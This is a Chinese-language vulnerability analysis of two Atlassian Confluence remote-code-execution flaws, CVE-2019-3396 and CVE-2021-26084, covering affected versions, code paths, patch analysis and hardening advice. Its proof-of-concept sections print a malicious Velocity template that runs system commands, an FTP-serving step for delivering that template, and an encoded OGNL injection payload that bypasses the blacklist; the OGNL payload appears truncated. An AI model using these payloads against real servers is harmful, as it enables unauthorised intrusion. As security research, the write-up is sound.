Confluence CVE-2019-3396 & CVE-2021-26084漏洞分析
字数 1911 2025-08-29 08:30:36
Confluence CVE-2019-3396 & CVE-2021-26084漏洞分析与利用指南
漏洞概述
本文详细分析Atlassian Confluence的两个严重漏洞:CVE-2019-3396(Widget Connector宏漏洞)和CVE-2021-26084(OGNL表达式注入漏洞)。这两个漏洞都允许攻击者在未授权情况下实现远程代码执行(RCE)。
影响版本
CVE-2019-3396影响版本
- version < 6.6.12
- 6.7.0 <= version < 6.12.3
- 6.13.0 <= version < 6.13.3
- 6.14.0 <= version < 6.14.2
修复版本:6.6.12, 6.13.3, 6.14.2, 6.15.1, 6.12.3, 6.10.3
CVE-2021-26084影响版本
- version < 6.13.23
- 6.14.0 ≤ version < 7.4.11
- 7.5.0 ≤ version < 7.11.5
- 7.12.0 ≤ version < 7.12.5
CVE-2019-3396漏洞分析
漏洞组件
漏洞存在于Widget Connector插件中,该插件允许用户在Confluence页面中嵌入外部小部件。
漏洞原理
- Widget Connector宏在处理用户输入的URL时,未正确过滤
_template参数 - 攻击者可以通过控制
_template参数来指定Velocity模板文件路径 - 系统会使用
ClasspathResourceLoader加载指定的模板文件 - 通过精心构造的Velocity模板可实现远程代码执行
补丁分析
补丁在widgetconnector-3.1.0.jar的WidgetMacro.class中添加了过滤函数,从parameters中删除_template字段。
漏洞利用流程
- 构造一个包含恶意
_template参数的Widget Connector宏请求 - 系统调用
DefaultRenderManager#getEmbeddedHtml处理URL - 匹配到对应的
WidgetRenderer(如YoutubeRenderer) - 进入
YoutubeRenderer#getEmbeddedHtml,其中_template参数可控 - 通过
ConfigurableResourceManager#loadResource加载资源 - 最终使用
ClasspathResourceLoader加载恶意模板
资源加载器分析
系统使用四种资源加载器:
HibernateResourceLoader- ORM资源加载器FileResourceLoader- 文件读取(有路径遍历防护)ClasspathResourceLoader- 文件加载(漏洞点)DynamicPluginResourceLoader- 动态插件资源加载器
ClasspathResourceLoader#getResourceStream最终会调用WebappClassLoaderBase#getResourceAsStream,支持file/https/ftp等协议。
漏洞利用POC
构造恶意Velocity模板(rce.vm):
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext()) $scan.next()#end
利用FTP协议传输模板文件:
python -m pyftpdlib -p 8888
CVE-2021-26084漏洞分析
漏洞原理
这是一个OGNL表达式注入漏洞,攻击者可以通过精心构造的queryString参数注入恶意OGNL表达式,实现远程代码执行。
补丁分析
补丁移除了queryString的OGNL取值功能。
安全防护机制
OgnlValueFinder.class会对表达式进行安全检查:
- 编译表达式(解析unicode)
- 使用
containsUnsafeExpression检查黑名单
黑名单包括:
- 限制静态方法、字段、构造方法
- 限制获取classloader(如xxx.class或xxx.getClass())
- 限制特定变量
绕过技术
可以使用反射绕过黑名单限制,并通过unicode编码逃逸expr的单引号。
漏洞利用POC
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu002
防护建议
- 及时升级到最新修复版本
- 限制外部访问Confluence管理界面
- 实施网络隔离,限制Confluence服务器的出站连接
- 定期检查系统日志,监控可疑活动